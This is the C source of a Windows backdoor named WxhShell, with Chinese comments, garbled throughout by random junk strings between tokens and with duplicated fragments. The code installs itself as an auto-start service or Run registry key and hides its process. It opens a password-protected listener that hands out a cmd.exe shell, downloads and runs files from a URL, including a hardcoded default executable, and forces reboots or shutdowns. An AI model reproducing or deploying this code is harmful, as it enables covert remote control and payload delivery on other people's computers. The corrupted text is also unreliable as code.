..W-76{ s9)8b$t] PROCNTQSIP NtQueryInformationProcess; r8/l P}(F aM=D84@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?GT@puJS- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @T-p2#& `>lzlEhKV HANDLE hProcess; ,0N94pKy PROCESS_BASIC_INFORMATION pbi; .12aUXo( </"4 zD| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $_;e>*+x if(NULL == hInst ) return 0; 1wj:aD?g If-_?wZe g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T7*wS#z)h g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !#yq@2QX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &1|?BZv K>/%X!RW if (!NtQueryInformationProcess) return 0; \2C`<h$fN
_D,
;MB&7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D=r)) if(!hProcess) return 0; Iah[j,]r tt_o$D~kg if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SA"p\}"
<|B1wa:| CloseHandle(hProcess); Q \hY7Xq' s)J(/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #qBr/+b if(hProcess==NULL) return 0; OO) ~HV4\ +IFw_3$ HMODULE hMod; /=?x{(B> char procName[255];
q2aYEuu, unsigned long cbNeeded; Me5{_n S$q=;" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .Ajzr8P R`8@@} CloseHandle(hProcess); J3RB]O_ <O<LYN+( if(strstr(procName,"services")) return 1; // 以服务启动 Z8O n%Mx{" c}Z6V1]QP return 0; // 注册表启动 r,1e 'd: } }T2xXbU D;}xr_ // 主模块 pKUP2m`MW int StartWxhshell(LPSTR lpCmdLine) bUwn}_7b { hZXXBp SOCKET wsl; =wWpP-J& BOOL val=TRUE; {Ro2ouQ!V int port=0; 1T&Rc4$Sn7 struct sockaddr_in door; 7cDU2l {7hLsK[]) if(wscfg.ws_autoins) Install(); sic"pn],U OR1DYHHT/1 port=atoi(lpCmdLine); y&~w2{a Vv.r8IGYm if(port<=0) port=wscfg.ws_port; z;tI D~Y c_grPk2O4 WSADATA data; 796\jf$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %]gTm7
=t $@-P5WcRs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zE T^T5>: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B(g_Gm< door.sin_family = AF_INET; MM_k
]-7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); #p(h]T32 door.sin_port = htons(port); Fxs;Fp ;ea]$9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z;f2*F closesocket(wsl); 8`>h}Q$ return 1; 5zJj]A } ^FmU_Q0 >eQr<-8 if(listen(wsl,2) == INVALID_SOCKET) { 1J=.N|(@Q closesocket(wsl); aimarU return 1; 6k{2 +P } ,_aM`%q?Fj Wxhshell(wsl); <P[T!gST WSACleanup(); bK"SKV i$G;f^Z!Y
return 0; XgN` 7!Z h+p*=|j` } u@'0Vk0zGH >WJf=F`_H // 以NT服务方式启动 K5ZC:Ks VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l:0s2 { [v7^i_d DWORD status = 0; 5,qj7HZF DWORD specificError = 0xfffffff; _R'Fco ZRxZume<f
serviceStatus.dwServiceType = SERVICE_WIN32; 00I}o%akO serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ars687WB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s4Sd>D7 serviceStatus.dwWin32ExitCode = 0; ^'CPM6J serviceStatus.dwServiceSpecificExitCode = 0; Xp\/YJOibd serviceStatus.dwCheckPoint = 0; <?-YTY| serviceStatus.dwWaitHint = 0; w{[=l6L m 4%4avEa"w hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (fNUj4[ if (hServiceStatusHandle==0) return; v 8T$ &-HJ ;{i'#rn{ status = GetLastError(); 0nn okN^ if (status!=NO_ERROR) mpAR7AG6 { W>r#RXmh serviceStatus.dwCurrentState = SERVICE_STOPPED; >EL)X
#e serviceStatus.dwCheckPoint = 0; hT$~ygQ serviceStatus.dwWaitHint = 0; qPB8O1fyU serviceStatus.dwWin32ExitCode = status; tO7v4 serviceStatus.dwServiceSpecificExitCode = specificError; LTNj| u SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3!Sp0P return; s+Fi @lg, } iHwLZ[O{ UNijFGi serviceStatus.dwCurrentState = SERVICE_RUNNING; =PRx?q`d serviceStatus.dwCheckPoint = 0; ~<<nz9}o_ serviceStatus.dwWaitHint = 0; ;Op3?_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +4[^!q*
H } Vd".u'r b KTcZG // 处理NT服务事件,比如:启动、停止 tQZs.1=z VOID WINAPI NTServiceHandler(DWORD fdwControl) E$W{8?:{ { Y2xL>F switch(fdwControl) @L.82p{h { A(?\>X
9g case SERVICE_CONTROL_STOP: 1(|D'y# serviceStatus.dwWin32ExitCode = 0; IG(?xf\C serviceStatus.dwCurrentState = SERVICE_STOPPED; X37 L\e[c serviceStatus.dwCheckPoint = 0; ,yd
MU\so( serviceStatus.dwWaitHint = 0; ]| N3eu { {x'GJtpb SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?9l [y } NCxqh < return; -':Y\:W case SERVICE_CONTROL_PAUSE: Hzrtlet serviceStatus.dwCurrentState = SERVICE_PAUSED; [:xiZ break; ~m|Mg9- case SERVICE_CONTROL_CONTINUE: KIR'$ 6pn~ serviceStatus.dwCurrentState = SERVICE_RUNNING; QO"oEgB`+Z break; qB)"qFa
case SERVICE_CONTROL_INTERROGATE: DI!V^M[~u break; Gpm{m:$L }; q o<&J f SetServiceStatus(hServiceStatusHandle, &serviceStatus); *x)Ozfe } UzXE_S pO8ePc@=D // 标准应用程序主函数 >iS`pb int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R!l:O=[< { *Z m^
~Vo )tCX
y4 // 获取操作系统版本 Hm+ODv9 OsIsNt=GetOsVer(); D")_;NLE1 GetModuleFileName(NULL,ExeFile,MAX_PATH); Lh.`C7] hp{OL< 2M // 从命令行安装 ^Rx9w!pAN if(strpbrk(lpCmdLine,"iI")) Install(); Vi4~`;|&b+ SP|<Tny // 下载执行文件 hFiIW77s2 if(wscfg.ws_downexe) { piU/& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c/_+o;Bc WinExec(wscfg.ws_filenam,SW_HIDE); )'*5R <# } <hwy*uBrD 3!5Ur& if(!OsIsNt) { Fg Lrb# // 如果时win9x,隐藏进程并且设置为注册表启动 _fZZ_0\Q HideProc(); WK="J6K5 StartWxhshell(lpCmdLine); w.&1%X(k } '#(v=|J else )K'N(w if(StartFromService()) %pXAeeSY`; // 以服务方式启动 <C9 XX~ StartServiceCtrlDispatcher(DispatchTable); [F5h else ""s]zNF} // 普通方式启动 `vc
"Q/ StartWxhshell(lpCmdLine); b)9'bJRvU PMfkA!.Y return 0; W>q HFoKa } z,{<Nm7&F Q5%#^ZdsTd wH~kTU2br 0\2\*I}? =========================================== K\vSB~{[ ['%69dPh xoOJauSX1 U%h);!< xQw7 :18wQ V7TVt,-3 " WD'#5]#Y N{-]F|XX #include <stdio.h> 8ssJ<LP #include <string.h> c\% r38 #include <windows.h> "zIFxDR# #include <winsock2.h> ?BhMjsy. #include <winsvc.h> P>9aI/d9 #include <urlmon.h> h^j?01*Et JWA@+u*k #pragma comment (lib, "Ws2_32.lib") `# sTmC) #pragma comment (lib, "urlmon.lib") [frq
'c ",{ibh)g$` #define MAX_USER 100 // 最大客户端连接数 o[E_Ge}g8 #define BUF_SOCK 200 // sock buffer 3pmWDG6L #define KEY_BUFF 255 // 输入 buffer KFa_ 1xv8gC:6 #define REBOOT 0 // 重启 `GXkF:f= #define SHUTDOWN 1 // 关机 !~Q2|r %%cHoprDa #define DEF_PORT 5000 // 监听端口 ={hX}"*D JoSJH35=: #define REG_LEN 16 // 注册表键长度 9:I6( Zv0 #define SVC_LEN 80 // NT服务名长度 rpw.]vnn hK<5KZ/4 // 从dll定义API QJ|a p4r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e)E$}4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +nQw?'9Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^!q?vo\j| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;W>Y:NCrp r[?1 // wxhshell配置信息 y1=NF struct WSCFG { WoxwEi1~0 int ws_port; // 监听端口 0j C3fT!n char ws_passstr[REG_LEN]; // 口令 M`6y@< int ws_autoins; // 安装标记, 1=yes 0=no h5yzwj:C? char ws_regname[REG_LEN]; // 注册表键名 :UJ a&$) char ws_svcname[REG_LEN]; // 服务名 wCk~CkC? char ws_svcdisp[SVC_LEN]; // 服务显示名 y*MF&mQ[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 f@co<iA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %p
X6QRt? int ws_downexe; // 下载执行标记, 1=yes 0=no gNG r!3*)w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g R
nOd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t#!yrQ..'G sZ?mP;Q }; @,XSs 2 1PFR:lP7 // default Wxhshell configuration ![f ![l struct WSCFG wscfg={DEF_PORT, /t-fjB{=G "xuhuanlingzhe", +{]xtQB=,{ 1, H~ u[3LQz "Wxhshell", 6=N`wi "Wxhshell", :rP#I#,7w
"WxhShell Service", h_d<! "Wrsky Windows CmdShell Service", j1 =`| "Please Input Your Password: ", 1n\ t+F 1, _e9:me5d"$ "http://www.wrsky.com/wxhshell.exe", ?JxbSK# "Wxhshell.exe" ]\ngX;h8G }; (LHp%LaZ\; pKS
{ 6P // 消息定义模块 f3|@|'
; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fqu}Le char *msg_ws_prompt="\n\r? for help\n\r#>"; \n9zw' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l]<L [Y,E- char *msg_ws_ext="\n\rExit."; moVbw`T char *msg_ws_end="\n\rQuit."; 81*M= ? char *msg_ws_boot="\n\rReboot..."; ~SvC[+t+U char *msg_ws_poff="\n\rShutdown..."; J9T3nTfL char *msg_ws_down="\n\rSave to "; %6--}bY^ p\{-t84n char *msg_ws_err="\n\rErr!"; H:H6b char *msg_ws_ok="\n\rOK!"; OCy0#aPRS ;L&TxO>#J char ExeFile[MAX_PATH]; E\m5%bK\B int nUser = 0; M,}|tsL HANDLE handles[MAX_USER]; c]B$i*t int OsIsNt; -YD+(c`l N8`?t5 SERVICE_STATUS serviceStatus; Z0De!?ALV\ SERVICE_STATUS_HANDLE hServiceStatusHandle; OiDhJ ^s.V;R // 函数声明 mZIoaF>t int Install(void); n&MG7`]N int Uninstall(void); "7>>I D int DownloadFile(char *sURL, SOCKET wsh); f&D]anf33 int Boot(int flag); P,=+W(s9} void HideProc(void); q.2(OP>( int GetOsVer(void); kF7V.m/~o int Wxhshell(SOCKET wsl); bxK(9. void TalkWithClient(void *cs); E+C5 h
;p& int CmdShell(SOCKET sock); i@NqC;~; int StartFromService(void); 4 g.
bR int StartWxhshell(LPSTR lpCmdLine); U}SXJH&&E a(]`F(L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L !4t[hhe= VOID WINAPI NTServiceHandler( DWORD fdwControl ); #"fJa:IYG7 ob_I]~^I?| // 数据结构和表定义 w;v7_ SERVICE_TABLE_ENTRY DispatchTable[] = PM":Vd/ { ^KB~*'DN~s {wscfg.ws_svcname, NTServiceMain}, rw)kAe31 {NULL, NULL} 0ult7s} }; /J)l /oI Jw~( G9G // 自我安装 ``ekR6[ 8c int Install(void) i*R,QN) { 80M;4nH^5 char svExeFile[MAX_PATH]; R_sC! - HKEY key; 2wqk,c[] strcpy(svExeFile,ExeFile); .lhn;*Yi ^[Cv26 // 如果是win9x系统,修改注册表设为自启动 w<9>Q1( if(!OsIsNt) { 5BR5X\f0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { juBw5U< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;d$qc<2uA RegCloseKey(key); U}Hwto`R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x ]5@>5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]\RRqLDzkg RegCloseKey(key); FZiW|G return 0; A|}l)!% } )Z+{|^`kJ } 2}?wYI*:5| } l:]Nn%U(> else { YJxw 'U
>P Ff^@~X+W< // 如果是NT以上系统,安装为系统服务 p#f+P? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AGA`fRVx if (schSCManager!=0) =OJ;0 /$6 { ,a?\MM9$ SC_HANDLE schService = CreateService 1p`+ ( SvvUkQ#1w schSCManager, S'~o,`xy wscfg.ws_svcname, <*H^(0 wscfg.ws_svcdisp, iAMtejw SERVICE_ALL_ACCESS, 6{d6s#|% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5W
=(+Q>C SERVICE_AUTO_START, ~{>?*Gd&T SERVICE_ERROR_NORMAL, t"j|nz{m svExeFile, <b+[<@wS NULL, h?\2_s NULL, o
A*G NULL, 0%s|Zbo!> NULL, xr(|* NULL ?B.~AUN ); "HM{b?N if (schService!=0) }W)=@t { H]<]^Zmjy CloseServiceHandle(schService); "%8A:^1 CloseServiceHandle(schSCManager); A{o 'z_zC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uQLlA&I" strcat(svExeFile,wscfg.ws_svcname); Y^"4?96 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m8+(%>+7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l^NC]t RegCloseKey(key); vjViX<#(V return 0; puJ#w1!x` } !/K8xD$ } 151tXSzLT CloseServiceHandle(schSCManager); "fQRk } x2|6 } P4
ul[zZ ,gnQa return 1; LE?u`i,e=+ } !a1i Un9 VS?@y/\In // 自我卸载 `29TY&p+" int Uninstall(void) '!vc/Hw { LU!1s@ HKEY key; -'rj&x{Q)U ")s!L"x if(!OsIsNt) { Y ?]G}5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F>|9 52 RegDeleteValue(key,wscfg.ws_regname); {F*N=pSq RegCloseKey(key); ;Hm'6TR! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rqCa 2 RegDeleteValue(key,wscfg.ws_regname); wCZO9sU:6= RegCloseKey(key); QL"gWr`R return 0; D_|B2gdZY } hQJWKAf,/ } a!Yb1[ } YTY%#"
else { 4YbC(f e/e0d<(1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dhRJg"vrQ if (schSCManager!=0) 7INk_2 { >3;^l/2c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ](r
^.k,R if (schService!=0) OsW"CF2 { TW`mxj_J2 if(DeleteService(schService)!=0) { g jG2 CloseServiceHandle(schService); mp`PE= CloseServiceHandle(schSCManager); O{KB0"s>i return 0; D#sf i,O } ].DY" CloseServiceHandle(schService); '\p;y7N } SqB/4P CloseServiceHandle(schSCManager); m>Ux`Gp+ } UFZ"C, } 24@^{
} 1czG55 | return 1; d5xxb _oE } y[HQBv *)VAaGUX> // 从指定url下载文件 7{BnXN[ int DownloadFile(char *sURL, SOCKET wsh) hd^x}iK" { G_oX5:J* HRESULT hr; $fArk36O# char seps[]= "/"; q
G;-o)h char *token; \v`#|lT$ char *file; ^/KfH&E char myURL[MAX_PATH];
';l fS char myFILE[MAX_PATH]; |n P_<9[ P!+v:'P5f strcpy(myURL,sURL); HY;oy( token=strtok(myURL,seps); =Q?f96T while(token!=NULL) |1V2tx { X7cWgo66T file=token; *8!w&ME+. token=strtok(NULL,seps); A|vP$zy } _%IqjJO{=r rnvQ<671W GetCurrentDirectory(MAX_PATH,myFILE); >_Uj?F: strcat(myFILE, "\\"); k8&FDz strcat(myFILE, file); Fe="EDh send(wsh,myFILE,strlen(myFILE),0); ?R?Grw)`H send(wsh,"...",3,0); r=csi hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CM 9P"- if(hr==S_OK) J~J@ ]5/ return 0; N_vXYaY else ;/Q6i
return 1; \REc8nsLy ^pcRW44K } _om[VKJd nUqy1( // 系统电源模块 )Xno|$b5Eo int Boot(int flag) GoeIjuELR { k}BDA|\s HANDLE hToken; ]bfqcmh< TOKEN_PRIVILEGES tkp; <ZrFOb hPPB45^ if(OsIsNt) { kME^tpji OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rA#s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vvh.@f tkp.PrivilegeCount = 1; ;5M<j3_* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b7'F|h^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *]!l%Uf% if(flag==REBOOT) { }J;~P
9Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iBHw[X,b return 0; t{ H1u } eUs-5
L else { ;f(n.i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =jUnM>23 return 0; 56ZrCr } jM\ %$_/ } V Cf|`V~ G else { 0#`)Prop6 if(flag==REBOOT) { l:z}; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FQ## 397 return 0; 7:kCb[ji" } EW;1`x else { ;.0LRWcJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `e*61k5 return 0; [0op)Kn } a 2E t,WA% } a>(~ C'(< Gt'/D>FE0 return 1; U9F6d!:L7A } sS'{QIRC' \P@S"QO // win9x进程隐藏模块 \>;%Ji void HideProc(void) &E]"c]i+ { <{ #<5 8 tj#b_u z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [)iN)$Mv if ( hKernel != NULL ) KT=a(QL { y^YVo^3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a|z1K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BJIFl!w FreeLibrary(hKernel); f\=6I3z } Cg*kN"8q H` Lu"EK return; 9/Wn!Ld } hOn h{H]xe[Q // 获取操作系统版本 ax]9QrA int GetOsVer(void) K
/ZHJkJ7 { CwB] )QV? OSVERSIONINFO winfo; 43F^J%G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `=v@i9cTZ GetVersionEx(&winfo); @aUZ#,(< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }Oh5Nm) return 1; I2W{tl else :^.u-bHI return 0; b8e*Pv/ } N&,"kRFFo {~"Em'}J // 客户端句柄模块 YiO3<}Uf int Wxhshell(SOCKET wsl) U#$:\fT { P8u"T!G SOCKET wsh; ?qIGQ/af& struct sockaddr_in client; H<{*ub4'L* DWORD myID; @@; 1%z S~} +ypV while(nUser<MAX_USER) xNx`J@xt$ { ^[*AK_o_DQ int nSize=sizeof(client); #e*$2+`[A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8W{ g if(wsh==INVALID_SOCKET) return 1; gi
'^qi2 Yr:>icz| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qm~Kw!kV if(handles[nUser]==0) " _mmR
M closesocket(wsh); w[|y0jtw else r*>QT:sB nUser++; iAg}pwU } NrW [Q3E$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JfR kp Zq9>VqGe return 0; 9/^d~ZO } zcZ^s v> 3 k`NNA // 关闭 socket jw/wcP void CloseIt(SOCKET wsh) J511AoQ{R { x[Hhj' closesocket(wsh); "NlRSc# nUser--; $F<%Jl7_Z ExitThread(0); qP@L(_=g } zabw!@] %jpH:-8'2 // 客户端请求句柄 %OTQRe: void TalkWithClient(void *cs) BR%{bY^
5p { =:kiSrBS3t *:k~g].Iz SOCKET wsh=(SOCKET)cs; D_zcOq9 char pwd[SVC_LEN]; ;Kt'Sit char cmd[KEY_BUFF]; xMLrLXy char chr[1]; qNhH%tYQ int i,j; P:jDB{ &qG?[R{ while (nUser < MAX_USER) { "hJ7 Vv_ {P,>Q4N if(wscfg.ws_passstr) { aS2a_!f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V#+126 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _3*: y/M_ //ZeroMemory(pwd,KEY_BUFF); e_tZja2s i=0; iz,]%<_PE while(i<SVC_LEN) { l A 0-?k c,+iU R< // 设置超时 x4/T?4k fd_set FdRead; Bi %Z2/ struct timeval TimeOut; ?]759,Q3L FD_ZERO(&FdRead); Jx)~kK FD_SET(wsh,&FdRead); $gXkx D TimeOut.tv_sec=8; `4se7{'UK` TimeOut.tv_usec=0; 8Ix-i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tuX =o
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `"i^'VL, .~FKyP>[$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WK/b=p|#o pwd=chr[0]; qiF@7i if(chr[0]==0xd || chr[0]==0xa) { DKe6?PG pwd=0; aUsul'e;M break; 7O;BS}Lv= } 3'|Uqf8 i++; ]?v?Qfh2 } ;P0,60 yaCd4KP // 如果是非法用户,关闭 socket EOMuqP) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O7Y
P_<,# } PT
0Qzg F5:2TEA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U}mL,kj" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FY_avW [ flu|v while(1) { @S/g,;7" 44<9zHK ZeroMemory(cmd,KEY_BUFF); H5F\-&cq [a#?}(( // 自动支持客户端 telnet标准 }3
fLV j=0; FU [8:o62 while(j<KEY_BUFF) { xg*\j)_} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lo IL{2 cmd[j]=chr[0]; v
Ie=wf~D` if(chr[0]==0xa || chr[0]==0xd) { __oY:d(~ cmd[j]=0; 9b"}CEw break; }.fZy&_
} "t3uW6& j++; tal>b]B; } D;16}D p 02nd.R6 // 下载文件 SXT@& @E if(strstr(cmd,"http://")) { "u3fs2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); :8\*)"^E if(DownloadFile(cmd,wsh)) 2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); B` t6H else 8gu'dG = send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +j)-L \ } bn<I#ZH2 else { xr7-[)3Q$ !>a&`j2:W switch(cmd[0]) { 8o%<.] df21t^0/ // 帮助 ~:ub case '?': { U#UVenp@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kd AR)EU> break; )eTnR:= } nsr
_\F\ // 安装 @4W\RwD case 'i': { di)noQXkB- if(Install()) L:k@BCQM send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7>W+Uq else 9}'l=b:Jms send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WNF=NNO-R break; W_e-7=6 } "W,"qFx // 卸载 ?h>%Ix case 'r': { .5Z,SGBf if(Uninstall()) H$=h- send(wsh,msg_ws_err,strlen(msg_ws_err),0); pDq^W@Rq else b3y,4ke" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fmZzBZ_ break; Q9 x` Uy } M Z|c7f&` // 显示 wxhshell 所在路径 jiw`i case 'p': { R"8})a
gw char svExeFile[MAX_PATH]; ^,ZvKA"}+/ strcpy(svExeFile,"\n\r"); ya*q; D strcat(svExeFile,ExeFile); btB(n<G2# send(wsh,svExeFile,strlen(svExeFile),0); .H[Lo> break; Ue>A } >gS5[`xRE // 重启 ;k63RNT,M& case 'b': { ]
fwTi(4y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6U,U[MWJ if(Boot(REBOOT)) LzEE]i send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~3* ZG else { >m;|I/2@ closesocket(wsh); JUaKj@a| ExitThread(0); r,Y/4(.c7U } +^]PBMM1w break; U(Hq4D } }~Kyw7? // 关机 b/D9P~cE case 'd': { 4<eJ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zYgK$u^H if(Boot(SHUTDOWN)) Fm[?@Z&wP send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vqv2F @. else { DY+8m8!4H closesocket(wsh); e)
/u>I ExitThread(0); !z4Hj{A_ } -c<1H)W break; rTH[?mkf4 } ?XTg%U
// 获取shell |]2eGrGj4 case 's': { 3Oig/KZ CmdShell(wsh); Yf2+@E closesocket(wsh); 7K5o"
" ExitThread(0); =-1^K break; 5sV/N] ! } ][>M<J // 退出 &|&YRHv case 'x': { q%=7<( w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "`1of8$X7 CloseIt(wsh); W)Kpnb7 break; #9W5 } PUFW^"LV // 离开 .o,51dn+ s case 'q': { ekk&TTp# send(wsh,msg_ws_end,strlen(msg_ws_end),0); MkV*+LXC closesocket(wsh); GWkJ/EX WSACleanup(); (j"~]T!)1 exit(1); qNQ3(1xW break; iHG:W wM & } ^2?O+ =,F } w\8rh\Mvh } Y[8co<p efAahH // 提示信息 !^"!fuoNC if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]@<3 6ByM } :Ro"
0/d } F#37Qv J'Mgj$T $ return; 5)zh@aJ@ } .]P;fCQmM &fNE9peQFa // shell模块句柄 S
bqM=I+ int CmdShell(SOCKET sock) p~zTRnm { YvP"W/5 STARTUPINFO si; o!_; H}pq ZeroMemory(&si,sizeof(si)); Q j~W-^/ - si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (9[C0e S si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G>{:D'# PROCESS_INFORMATION ProcessInfo; $E@.G1T [ char cmdline[]="cmd"; -9<yB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,tv9+n@x return 0; Ai_|) } Qc
=lf$ 8!fAv$g0 // 自身启动模式 hu*>B int StartFromService(void) %IH|zSr)EM { ",
Rw%_ typedef struct sT"tS> { D!E 9@*Lf DWORD ExitStatus; +mQC:B7> DWORD PebBaseAddress; G`JwAy r' DWORD AffinityMask; yLa5tv/ DWORD BasePriority; "E[*rnsLN ULONG UniqueProcessId; n YMf[kW ULONG InheritedFromUniqueProcessId; ZzaW@6LJF } PROCESS_BASIC_INFORMATION; ' ^L hw.demD PROCNTQSIP NtQueryInformationProcess; hs#s $})}Z ;NVTn<Uj static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wTAEJ{p static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xp;8p94 iqKfMoy5 HANDLE hProcess; Wes"t}[25 PROCESS_BASIC_INFORMATION pbi; ZYt"=\_ DBrzw+;e3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wNZS6JF.d if(NULL == hInst ) return 0; S$_Ts1Ge6 -clg'Aa;. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N*)8L[7_; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yD
id`ym NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X1PlW8pd p){RSq if (!NtQueryInformationProcess) return 0; K.L+;
